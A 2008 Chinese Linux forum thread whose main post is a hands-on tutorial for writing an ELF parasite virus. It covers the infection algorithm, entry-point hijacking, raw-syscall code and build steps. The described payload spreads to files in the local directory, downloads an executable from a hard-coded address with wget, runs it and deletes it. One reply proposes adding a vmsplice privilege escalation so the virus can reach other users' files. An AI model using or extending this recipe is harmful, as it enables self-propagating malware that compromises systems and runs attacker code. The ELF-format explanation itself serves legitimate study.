LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 4233|回复: 13

[原创]ELF文件病毒的分析和编写

[复制链接]
发表于 2008-2-13 21:41:46 | 显示全部楼层 |阅读模式
ELF文件病毒的分析和编写

转载请注明作者信息
作者:lijiuwei
邮箱:lijiuwei0902@gmail.com

写这篇文章的目的是为了让对这方面不太熟悉而又感兴趣的朋友通过编写病毒实例让大家了
解linux下ELF文件格式和基本的病毒原理和技术等;看这篇文章和附件代码的朋友要有
Linux环境和C语言知识,并且要能看懂一点简单的汇编指令;我在写这篇文章的时候也参考
了其他相关的文档和文章(列在最后的参考章节中),程序代码是在UNIX ELF Parasites and
virus文章中提供的代码的基础之上进行修改的;该文章涉及到技术还是比较多的,如有错
误欢迎指正,谢谢!

制作所谓的ELF文件病毒简单的来说就是直接把二进制的指令插入到某一个可执行文件,并
且修改该可执行文件的入口地址指向病毒代码的入口,待病毒代码执行完后再回到真实的地
址执行正常的代码;

1.ELF格式
首先简单的介绍一些ELF格式,Linux下任何可执行文件都是由ELF格式组织的,我给大家看
看readelf -e a.out的输出并且对关键地方进行了讲解:

ELF Header(ELF头部):
  Magic:7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Magic是固定标识,前四个字节的字符串形式是"\177ELF"
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Type只能为以下三种:目标文件,动态库,可执行文件(EXEC)
  Machine:                           Intel 80386
  Machine其实是指CPU类型
  Version:                           0x1
  Entry point address:               0x8049cd0
  Entry point address是程序入口地址,这个对于病毒程序来说很重要
  Start of program headers:          52 (bytes into file)
  Start of program headers是Segment头部表的在文件中的偏移量是52
  Start of section headers:          195760 (bytes into file)
  Start of section headers是Section头部表的在文件中的偏移量是195760
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of this header是下面说到的Elf32_Ehdr结构(也就是ELF头部结构)的大小
  Size of program headers:           32 (bytes)
  Size of program headers 是下面说到的Elf32_Phdr结构(也就是Segment头部结构)
的大小
  Number of program headers:         7
  Number of program headers告诉我们Segment头部表一共有7个Segment头部(一个
Segment其实是由一个或多个Section组成的)
  Size of section headers:           40 (bytes)
  Size of section headers 是下面说到的Elf32_Shdr结构(也就是Section头部结构)
的大小
  Number of section headers:         36
  Number of section headers告诉我们Section头部表一共有36个Section头部
  Section header string table index: 33

以上输出对应于下面的结构,该结构和下面所提到的结构都在elf.h头文件中被定义:

  1. typedef struct
  2. {
  3.   unsigned char        e_ident[EI_NIDENT];        /* Magic number and other info */
  4.   Elf32_Half        e_type;                        /* Object file type */
  5.   Elf32_Half        e_machine;                /* Architecture */
  6.   Elf32_Word        e_version;                /* Object file version */
  7.   Elf32_Addr        e_entry;                /* Entry point virtual address */
  8.   Elf32_Off        e_phoff;        /* Program header table file offset */
  9.   Elf32_Off        e_shoff;        /* Section header table file offset */
  10.   Elf32_Word        e_flags;                /* Processor-specific flags */
  11.   Elf32_Half        e_ehsize;                /* ELF header size in bytes */
  12.   Elf32_Half        e_phentsize;        /* Program header table entry size */
  13.   Elf32_Half        e_phnum;        /* Program header table entry count */
  14.   Elf32_Half        e_shentsize;        /* Section header table entry size */
  15.   Elf32_Half        e_shnum;        /* Section header table entry count */
  16.   Elf32_Half        e_shstrndx; /* Section header string table index */
  17. } Elf32_Ehdr;
复制代码

Elf file type is EXEC (Executable file)
Entry point 0x8049cd0
There are 7 program headers, starting at offset 52

Program Headers是在操作系统加载程序到内存的时候告诉它如何把该程序映射到内存的对
应区域,只有Type为LOAD的Segment才会被加载到内存中;比如把一个在文件偏移位置为
Offset,大小为FileSiz,类型为LOAD的Segment加载到内存起始位置VirutAddr;除了包含
.bss Section的Segment,其他Segment的FileSiz等于它的MemSiz,因为.bss表示未初始化
的数据,它不占用硬盘空间,只会在加载到内存的时候才会分配内存;
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
  PHDR是Program Headers,也就是它自己的信息,可以看出他在文件中的偏移位置是
0x000034,十进制的52;而前面的52字节存储的是Elf32_Ehdr结构
  INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x0b17b 0x0b17b R E 0x1000
上面第一个LOAD表示的是会被加载到内存的Text Segment(文本段),它在内存中的起始位置
总是0x08048000,它的Flg属性为RE,表示可读(Read)和可执行(Execute),我们的病毒代码
就是要插到这个内存地址为VirtAddr + MemSiz的后面,Text Segment包含的重要的
Section有.text(存放二进制可执行代码),.rodata(存放常量)
  LOAD           0x00b17c 0x0805417c 0x0805417c 0x02094 0x0212c RW  0x1000
上面第二个LOAD表示的是会被加载到内存的Data Segment(数据段),它的Flg属性为RW,表
示可读(Read)和可写(Write),Data Segment包含的重要的Section有.data(存放全局变量),
.bbs(未初始化数据),.init(初始化代码,先于main执行),.fini(终止代码,后于main执行),
.dynsym(记录所有外部动态库的符号,这里的符号其实就是指函数的名字和全局变量的名
字),.symtab(记录所有外部动态库的符号和本地符号),.dynstr(动态库的字符串名称,值得
一提的是strings命令他的输出顺序先从.dynstr开始,然后是存储本地变量字符串名称和函
数字符串名称的.stabstr,最后是存储常量字符串的.rodata)

  DYNAMIC        0x00b190 0x08054190 0x08054190 0x000f8 0x000f8 RW  0x4
  NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
DYNAMIC存储着动态链接所需要的信息,通过看它和Text Segment的Offset和FileSiz,可
以看出它是被包括在Text Segment中的,DYNAMIC只有一个叫做.dynamic的Section,ldd命
令输出的信息就是通过解析这个Section而来的

以上输出对应于下面的结构:

  1. typedef struct
  2. {
  3.   Elf32_Word        p_type;                        /* Segment type */
  4.   Elf32_Off        p_offset;                /* Segment file offset */
  5.   Elf32_Addr        p_vaddr;                /* Segment virtual address */
  6.   Elf32_Addr        p_paddr;                /* Segment physical address */
  7.   Elf32_Word        p_filesz;                /* Segment size in file */
  8.   Elf32_Word        p_memsz;                /* Segment size in memory */
  9.   Elf32_Word        p_flags;                /* Segment flags */
  10.   Elf32_Word        p_align;                /* Segment alignment */
  11. } Elf32_Phdr;
复制代码

下面是Section和Segment的对应关系
Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02(Text Segment)     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
   03(Data Segment)     .eh_frame .ctors .dtors .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag
   06

There are 36 section headers, starting at offset 0x2fcb0:
Section Headers是在链接阶段会被编译器里的链接器部件用到;链接器必须完成的两个主
要工作是1.通过.symtab Section来进行符号解析,2.通过.rel.dyn Section重定位在程序
中使用的外部变量的地址,通过 .rel.plt Section重定位在程序中调用的外部函数的地址

Section Headers:
        名称             类型           虚拟地址 文件偏移 大小
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al  
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
---------------------------加载到内存的数据的开始处-----------------------------
---Text Segment开始处---
<Elf32_Ehdr结构,0x34字节>
<Segment头部表,总共0xe0字节,上面的0x34 + 0xe0正好等于0x114>
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .hash             HASH            08048148 000148 000350 04   A  4   0  4
  [ 4] .dynsym           DYNSYM          08048498 000498 000710 10   A  5   1  4
  [ 5] .dynstr           STRTAB          08048ba8 000ba8 000644 00   A  0   0  1
  [ 6] .gnu.version      VERSYM          080491ec 0011ec 0000e2 02   A  4   0  2
  [ 7] .gnu.version_r    VERNEED         080492d0 0012d0 000050 00   A  5   2  4
  [ 8] .rel.dyn          REL             08049320 001320 000020 08   A  4   0  4
  [ 9] .rel.plt          REL             08049340 001340 000320 08   A  4  11  4
  [10] .init             PROGBITS        08049660 001660 000017 00  AX  0   0  4
  [11] .plt              PROGBITS        08049678 001678 000650 04  AX  0   0  4
  [12] .text             PROGBITS        08049cd0 001cd0 006c0c 00  AX  0   0 16
<Entry point程序入口的位置在这里>
  [13] .fini             PROGBITS        080508dc 0088dc 00001c 00  AX  0   0  4
  [14] .rodata           PROGBITS        08050900 008900 00287b 00   A  0   0 32
---Text Segment结束处---
---Data Segment开始处---
  [15] .eh_frame         PROGBITS        0805417c 00b17c 000004 00  WA  0   0  4
  [16] .ctors            PROGBITS        08054180 00b180 000008 00  WA  0   0  4
  [17] .dtors            PROGBITS        08054188 00b188 000008 00  WA  0   0  4
  [18] .dynamic          DYNAMIC         08054190 00b190 0000f8 08  WA  5   0  4
  [19] .got              PROGBITS        08054288 00b288 000004 04  WA  0   0  4
  [20] .got.plt          PROGBITS        0805428c 00b28c 00019c 04  WA  0   0  4
  [21] .data             PROGBITS        08054440 00b440 001dd0 00  WA  0   0 32
  [22] .bss              NOBITS          08056210 00d210 000098 00  WA  0   0  8
---Data Segment结束处---
---------------------------加载到内存的数据的结束处-----------------------------
  [23] .stab             PROGBITS        00000000 00d210 00e760 0c     24   0  4
  [24] .stabstr          STRTAB          00000000 01b970 013691 00      0   0  1
  [25] .comment          PROGBITS        00000000 02f001 000448 00      0   0  1
  [26] .debug_aranges    PROGBITS        00000000 02f450 000078 00      0   0  8
  [27] .debug_pubnames   PROGBITS        00000000 02f4c8 000025 00      0   0  1
  [28] .debug_info       PROGBITS        00000000 02f4ed 000236 00      0   0  1
  [29] .debug_abbrev     PROGBITS        00000000 02f723 000076 00      0   0  1
  [30] .debug_line       PROGBITS        00000000 02f799 0001a4 00      0   0  1
  [31] .debug_str        PROGBITS        00000000 02f93d 0000d3 01  MS  0   0  1
  [32] .note             NOTE            00000000 02fa10 000168 00      0   0  1
  [33] .shstrtab         STRTAB          00000000 02fb78 000137 00      0   0  1
<Section头部表的位置在这里,可以看出它自身不会被加载到进程空间>
  [34] .symtab           SYMTAB          00000000 030250 0012a0 10     35 145  4
  [35] .strtab           STRTAB          00000000 0314f0 000e95 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

以上输出对应于下面的结构:

  1. typedef struct
  2. {
  3.   Elf32_Word        sh_name;        /* Section name (string tbl index) */
  4.   Elf32_Word        sh_type;        /* Section type */
  5.   Elf32_Word        sh_flags;        /* Section flags */
  6.   Elf32_Addr        sh_addr;        /* Section virtual addr at execution */
  7.   Elf32_Off        sh_offset;        /* Section file offset */
  8.   Elf32_Word        sh_size;        /* Section size in bytes */
  9.   Elf32_Word        sh_link;                /* Link to another section */
  10.   Elf32_Word        sh_info;                /* Additional section information */
  11.   Elf32_Word        sh_addralign;        /* Section alignment */
  12.   Elf32_Word        sh_entsize; /* Entry size if section holds table */
  13. } Elf32_Shdr;
复制代码


2.病毒感染过程的算法
1.检测文件文件是否是ELF格式的可执行文件,如果否那么返回

2.在病毒程序的某偏移位置打上设置真实地址的地址的补丁(该偏移位置需要通过反汇编得
到的该位置的内存地址减去-病毒代码的内存起始位置)

3.查找到该文件的Text Segment的结尾是否有足够的剩余空间能够容下病毒代码,如果否那
么返回

4.把病毒的长度填充到PAGE_SIZE

5.修改该Text Segment的 p_filesz和 p_memsz加上病毒代码实际的长度(而不是填充到的PAGE_SIZE)

6.修改程序入口指向病毒程序的入口(p_vaddr + 上面更新后的p_filesz)

7.给所有地址在病毒代码后面的Segment的p_offset加上PAGE_SIZE

8.查找指向Text Segment的结尾的Section,使该Section的sh_size加上病毒代码的长度

9,给所有地址在病毒代码后面的Section的p_offset加上PAGE_SIZE

10.修改elf头结构里的e_shoff加上PAGE_SIZE

11.创建一个临时文件拷贝上面的修改过的结构和原有的数据,并且在Text Segment的结尾
插入病毒代码

12.把该临时文件的所有者属性和权限属性用chown和chmod改成和该文件的一致,然后用
rename替换该文件

3.关键问题和解决办法
1.正确和高效的使用字符串
在病毒代码里如何使用字符串是一个问题,我觉得使用局部变量存储字符串比较好.

  1. char uri[] = {'h','t','t','p',':','/','/','1','9','2','.','1','6','8','.','1','.','1','0','0','/','w','/','a'};
复制代码

上面的有两个问题:
1.反汇编后发现生成的汇编代码太长:
c6 85 04 cf ff ff 2d         movb   $0x2d,0xffffcf04(%ebp)
处理一个字符的指令就需要7个字节!而病毒代码要强调短小精悍;
2.更严重的是gcc会对这样的初始化赋值的代码进行优化,导致以上字符数组不在病毒代码
本身了;
解决办法是把上面的代码改成:

  1. int uri[7];

  2. uri[0] = 0x70747468;// ptth
  3. uri[1] = 0x312F2F3A;// 1//:
  4. uri[2] = 0x312E3239;// 1.29
  5. uri[3] = 0x312E3836;// 1.86
  6. uri[4] = 0x3030312E;// 001.
  7. uri[5] = 0x612F772F;// a/w/
  8. uri[6] = 0x0;
复制代码

因为intel CPU用小端表示法,也就是说低字节在高位,所以每一个int里的字符方向为反向;
但是第二种代码它的作用与第一种完全一样,它用一个int类型变量包含四个字符
1.反汇编后的代码是
8048cb6:        c7 85 f4 ce ff ff 2f movl   $0x7273752f,0xffffcef4(%ebp)
8048cbd:        75 73 72
可以看出一次处理四个字符的指令只需要10个字节,远比上面的28个字节要节省字节很多
2.我们为了防止gcc优化出现问题,所以采用每一个int变量一一赋值的方法,虽然第二种方法
使用的C语句比第一种要多,但是产生的汇编代码比第一种要少得多,这才是我们真正想要的;

2.只使用系统调用,而不要使用其他任何库!
这样做的主要目的是为了让病毒能尽量在不同的环境下运行;Linux下的系统调用函数很多,
已经可以给了我们的病毒提供很强大的功能了;所谓的系统调用就是操作系统提供给外部的
服务,在用户层的应用或函数库调用系统调用后就进入了内核层;我们的病毒使用到的系统调
用有以下:

  1. __syscall0(int,fork);
  2. __syscall1(time_t, time, time_t *, t);
  3. __syscall1(int, close, int, fd);
  4. __syscall1(unsigned long, brk, unsigned long, brk);
  5. __syscall1(int, unlink, const char *, pathname);
  6. __syscall2(int, fstat, int, fd, struct stat *, buf);
  7. __syscall2(int, fchmod, int, filedes, mode_t, mode);
  8. __syscall2(int,chmod,const char *,pathname,unsigned int,mode);
  9. __syscall2(int, rename, const char *, oldpath, const char *, newpath);
  10. __syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);
  11. __syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
  12. __syscall3(int, open, const char *, file, int, flag, int, mode);
  13. __syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);
  14. __syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
  15. __syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
  16. __syscall3(int,execve,const char *,file,char **,argv,char **,envp);
  17. __syscall3(pid_t,waitpid,pid_t,pid,int *,status,int,options);
复制代码

看到fork和execve了吗?这两个系统调用的组合可是超级强大!
但是我们在用他们的时候需要自己稍稍重新封装一下,不能直接使用,因为你们看:

  1. #define _syscall0(type,name) \
  2. type name(void) \
  3. { \
  4. long __res; \
  5. __asm__ volatile ("int $0x80" \
  6.         : "=a" (__res) \
  7.         : "0" (__NR_##name)); \
  8. do { \
  9.         if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
  10.                 errno = -(res); \
  11.                 res = -1; \
  12.         } \
  13.         return (type) (res); \
  14. } while (0)
  15. }
复制代码

系统里提供的这些封装函数里有errno,这是一个在病毒中不能使用的全局变量,所以我们要改成:

  1. #define __syscall0(type,name) \
  2. static inline type name(void) \
  3. { \
  4. long __res; \
  5. __asm__ volatile ("int $0x80" \
  6.         : "=a" (__res) \
  7.         : "0" (__NR_##name)); \
  8.         return (type) __res; \
  9. }
复制代码

再稍微多解释一下上面的代码:
Linux通过int 0x80中断使得用户层的应用或者函数库进入内核层,而__NR_##name这个宏
其实是名为name的函数对应的中断向量表中的索引;__res保存的是返回值,他是经由eax
寄存器(标识为a,按照惯例所有函数的返回值都是保存在eax寄存器中)转存到__res的;
如果想知道Linux提供的所有系统调用那么请看man syscalls

3.寄存器的保存和恢复
首先需要知道以下两点:
eax,ecx,edx由调用者保存,被调用者使用后不必恢复
ebx,esi,edi由被调用者保存,被调用者使用后要恢复
病毒代码需要在开始执行之后恢复所有的寄存器才能让后来运行的宿主程序运行正常,比如
能获得从main函数传来的参数;

  1. main函数的开始处:
  2. gcc生成的进入函数main入口后为堆栈做准备的汇编代码:
  3. 80487d0:        55                           push   %ebp
  4. 80487d1:        89 e5                        mov    %esp,%ebp
  5. 80487d3:        81 ec 5c 31 00 00            sub    $0x315c,%esp
  6. gcc生成的保存寄存器的汇编代码:
  7. 80487d9:        57                           push   %edi
  8. 80487da:        56                           push   %esi
  9. 80487db:        53                           push   %ebx
  10. gcc生成的初始化所有的局部变量的汇编代码:
  11. 80487dc:        66 c7 85 f2 ce ff ff 00 00 movw   $0x0,0xffffcef2(%ebp)
  12. 80487e5:        c6 85 f2 ce ff ff 2e         movb   $0x2e,0xffffcef2(%ebp)
  13. 80487ec:        c7 85 e4 ce ff ff 00 00 00 00 movl $0x0,0xffffcee4(%ebp)
  14. 80487f6:        c7 85 e0 ce ff ff 00 00 00 00 movl $0x0,0xffffcee0(%ebp)
  15. 我们自己在C语言中插入的汇编代码:
  16. 8048800:        50                           push   %eax
  17. 8048801:        51                           push   %ecx
  18. 8048802:        52                           push   %edx

  19. main函数的末尾处都是我们自己根据main开始处的push堆栈动作自己插入的汇编代码,保证
  20. 上面的push和下面的pop一一对应,这样病毒代码退出后堆栈恢复正常了:
  21. 8048c11:        5a                           pop    %edx
  22. 8048c12:        59                           pop    %ecx
  23. 8048c13:        58                           pop    %eax
  24. 8048c14:        5b                           pop    %ebx
  25. 8048c15:        5e                           pop    %esi
  26. 8048c16:        5f                           pop    %edi
  27. 8048c17:        81 c4 5c 31 00 00            add    $0x315c,%esp
  28. 8048c1d:        5d                           pop    %ebp
复制代码


4.拷贝病毒代码
拷贝病毒代码有两种办法,一种是从自己的病毒文件里拷贝,一种是我们使用的直接在内存中
拷贝,这两种方法我们都需要首先知道病毒代码的开始位置和代码长度;
第一种方法还需要病毒程序找到自己的病毒文件的具体位置,这可以通过读/proc/self/maps
的第一行来获得;
我们用的是更好的第二种方法,病毒代码的开始位置我们是这样获得的:

  1.         /* Get start address of virus code */
  2.         __asm__ volatile (
  3.                         "jmp get_start_addr\n\t"
  4.                         "infect_start:\n\t"
  5.                         "popl %0\n\t"
  6.                         :"=a" (push_real_entry_addr)
  7.                         :);

  8.         para_code_start_addr = push_real_entry_addr - (set_real_entry_offset - 1);


  9. ... /* c代码 */
  10. ...

  11.         __asm__ volatile (
  12.         "get_start_addr:\n\t"
  13.         "call infect_start\n\t"
  14.         "ret_real_entry:\n\t"
  15.         "push $0xAABBCCDD\n\t" /* push ret_addr */
  16.         "ret\n\t"
  17.         ::);
复制代码

第一段汇编的jmp get_start_addr指令跳转到第二段汇编的get_start_addr标识处,
然后紧接着call infect_start它先push下一条指令的地址(这里是push
$0xAABBCCDD这条指令的地址)到堆栈然后跳转到第一段汇编的infect_start,下面
popl %0就是把之前push的地址返回给push_real_entry_addr变量

push_real_entry_addr的值是 push $0xAABBCCDD这条指令在内存中的地址
set_real_entry_offset - 1的值是push $0xAABBCCDD这条指令在病毒代码中的偏移量
push_real_entry_addr - (set_real_entry_offset – 1)得到的就是病毒代码在内存中的开始位置

5.使用mmap代替open,read
如果把程序中的open,read改成用mmap先映射文件到虚拟内存再使用访问数组的方式去访问
文件那么生成出来的汇编代码会更短小精悍,但是我在改写用mmap方法的时候于遇到了一个
问题,后来在网上搜索发现是封装mmap所使用的__syscall6宏在x86上会有不对劲儿的现象,
所以直接拷贝了别人提供的解决难题的代码:

  1. __syscall1(void *, mmap, unsigned long *, buffer);

  2. static inline void *local_mmap(void * addr, unsigned long size, int prot, int flags, int fd, unsigned long offset) {
  3.         unsigned long buffer[6];
  4.         buffer[0] = (unsigned long)addr;
  5.         buffer[1] = (unsigned long)size;
  6.         buffer[2] = (unsigned long)prot;
  7.         buffer[3] = (unsigned long)flags;
  8.         buffer[4] = (unsigned long)fd;
  9.         buffer[5] = (unsigned long)offset;
  10.         return (void *)mmap(buffer);
  11. }
复制代码

6.动态内存分配使用brk
我们一般使用C语言标准库的malloc,free来进行动态分配内存和释放内存,brk这个系统调用
函数他同时有malloc和free功能,比如

  1. char *start = brk(0);//首先获得堆的起始位置
  2. char *ptr = brk(1024);//分配1K字节
  3. brk(start);//释放1K字节
复制代码

7.返回到原来的地址
两种最简单的办法,假设aabbccdd是返回地址
第一种:jmp aabbccdd
第二种:
push aabbccdd
ret

ret的指令从堆栈中弹出地址然后返回到那里
我们的程序用的是第二种方法

8.对齐
首先要知道操作系统为了高效的从硬盘文件中加载数据到内存而使用的加载方式是每次读4K
数据,这4K数据被称作1页;判断我们的病毒代码时候是否能够插入到一个可执行文件里的
Text Segment的结尾要看在该Text Segment最后一页还剩下多少剩余的空间,这个剩余的空
间肯定要比4K要小;所以我们的病毒代码也必须要小于4K,这样才能有机会插入到可执行文件
里;在我们的程序里是把病毒代码放入一个固定4k大小的数组,然后把这固定4k大小的数组插
入到Text Segment的最后一页里的剩余空间,这样虽然在硬盘中的文件的体积会变大一些,但
是其实加载到内存里的体积是完全不会变的,和原来一模一样

9.病毒感染文件之后做什么?
我们的病毒在随机感染同目录的文件后首先fork()创建一个子进程,它会做如下几件事:
1.使用fork() + execve()创建一个子进程执行/usr/bin/wget从网上的一个特定地址下载一
个可执行文件;
2.用waitpid等待该下载完成;
3.用chmod改变文件大权限为S_IRWXU(用户可读,可写,可执行)
4.使用fork() + execve()创建一个子进程执行该文件
5.删除该执行文件

5.我们的程序
病毒程序:
elf-p-virus:病毒源程序,发作时会随机感染本地目录下的文件并且从从网上的一个特定地
址下载一个可执行文件并且开始执行后删除;

感染程序:
infect-elf-p.c:他携带病毒二进制代码(文件是parasite.c,由下面提到的elf-text2hex生
成并且修改),第一次的感染任务就交给他

工具:
makefile:提供了我们所需要的自动化编译

test_virus.sh:用于测试我们的病毒,测试的目录为tmp,test_virus.sh的里面脚本为;

  1. rm tmp/*
  2. cp foo tmp/
  3. cp infect-elf-p tmp/
  4. cd tmp
  5. cp foo host
  6. ./infect-elf-p host
复制代码

elf-text2hex.c:用于把我们的病毒代码转化为十六进制数组;输入参数有目标文件,病毒的
终止位置(这个位置都需要反汇编后去查找)

char2int.c:用于前面我们讨论过的字符串的问题;输入参数为字符串,输出为int类型变量
比如:
./char2int 192.168.1.100/w/a
input:192.168.1.100/w/a
padding_len:20
{0x2E323931,0x2E383631,0x30312E31,0x2F772F30,0x61};<--字符被转换后的形式

用于测试的文件:
foo.c:充当被感染文件的角色
hell-paraiste.c:一个最简单的病毒,他只会在进入真正入口之前打印出hello

6.实战
我机子上的环境为:
Linux debian 2.6.18-4-686,gcc-2.95
注意:
我们用C语言写的病毒代码依赖于gcc为我们产生相应的汇编代码,同样的C源文件用不同的
gcc版本会产生完全不同的汇编代码,我这里生成正确的汇编代码使用的是gcc-2.95,而用
gcc-3.3和gcc-4.12产生的汇编代码作为病毒运行都会出现Segmentation Fault错误,因为本
人汇编能力有限所以无法通过反汇编找到准确的问题定位.

1.用make infect-elf-p编译elf-p-virus.c为elf-p-virus
2.使用make elf-p-virus-objdump反汇编后查找aabbccdd字符串,然后
(1)记录下它的地址为aabbccdd_addr(同行左边的十六进制地址加一,加一是为了跳过一字节
的push指令);
(2)记录下与aabbccdd_addr最靠近的上面的mov指令后的地址(main_end函数的地址)为
virus_end_addr;
(3)记录下与aabbccdd_addr最靠近的下面的mov指令后的地址(main主函数的地址)为
parasite_entry_addr;
(4)记录下main下面第三行的sub    $0xXXXX,%esp中的XXXX数值

3.用XXXX更新elf-p-virus.c的main函数中最后的内嵌汇编语句中的"addl $0xAAAA,
%%esp\n\t"语句中的AAAA
4.用aabbccdd_addr更新elf-p-virus.c的main函数中set_real_entry_offset(该变量是设
置原来的地址的索引)的数值后重新生成elf-p-virus
5.修改Makefile里的elf-text2hex的第3个参数为virus_end_addr,然后执行make
virus2hex生成paraiste.c
6.修改paraiste.c里的第一个x为aabbccdd_addr,第二个x为parasite_entry_addr
7.make infect-elf-p
8.执行test_virus.sh脚本后进入tmp目录执行host文件测试

7.参考文章
UNIX ELF Parasites and virus
EXECUTABLE AND LINKABLE FORMAT (ELF)
一个Linux病毒原型分析

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
发表于 2008-2-13 22:18:05 | 显示全部楼层
Linux 下的病毒?:cool:
回复 支持 反对

使用道具 举报

发表于 2008-2-14 09:06:11 | 显示全部楼层
果然深奥. 佩服一个先!
回复 支持 反对

使用道具 举报

发表于 2008-2-14 19:14:10 | 显示全部楼层
收藏以备后用
回复 支持 反对

使用道具 举报

发表于 2008-2-14 23:28:42 | 显示全部楼层
今天仔细看了一下,写得精彩。assert兄加油。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2008-2-15 00:21:33 | 显示全部楼层
谢谢楼上几位高手的夸奖!我一直都在LinuxSir这个论坛不断的索取,技术得到了提高;现在我也该作出一点点贡献了。
建议把doc文档下载下来看,因为doc文档有说明和语法加亮,看起来会更舒服一些
回复 支持 反对

使用道具 举报

发表于 2008-2-22 14:55:34 | 显示全部楼层
牛人啊!文章的内容很有意思,佩服!
回复 支持 反对

使用道具 举报

发表于 2008-2-22 19:21:31 | 显示全部楼层
好文章~~~
回复 支持 反对

使用道具 举报

发表于 2008-2-25 01:37:08 | 显示全部楼层
虽然不能全部看懂,理解一些意思
有收获 !!
回复 支持 反对

使用道具 举报

发表于 2008-2-25 19:31:00 | 显示全部楼层
呵呵~上次和你说stack的ebp被破坏问题可能是便利目录时候被破坏的
所以导致最后程序退出的时候内存错误。
给你个新思路,就是加上vmslice这个权限提升,这样就可以感染其他用户文件。
加油
最近比较忙,抱歉没有回你的邮件

ps.喜欢研究这个病毒的兄弟,可以先看下elf的格式文档。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表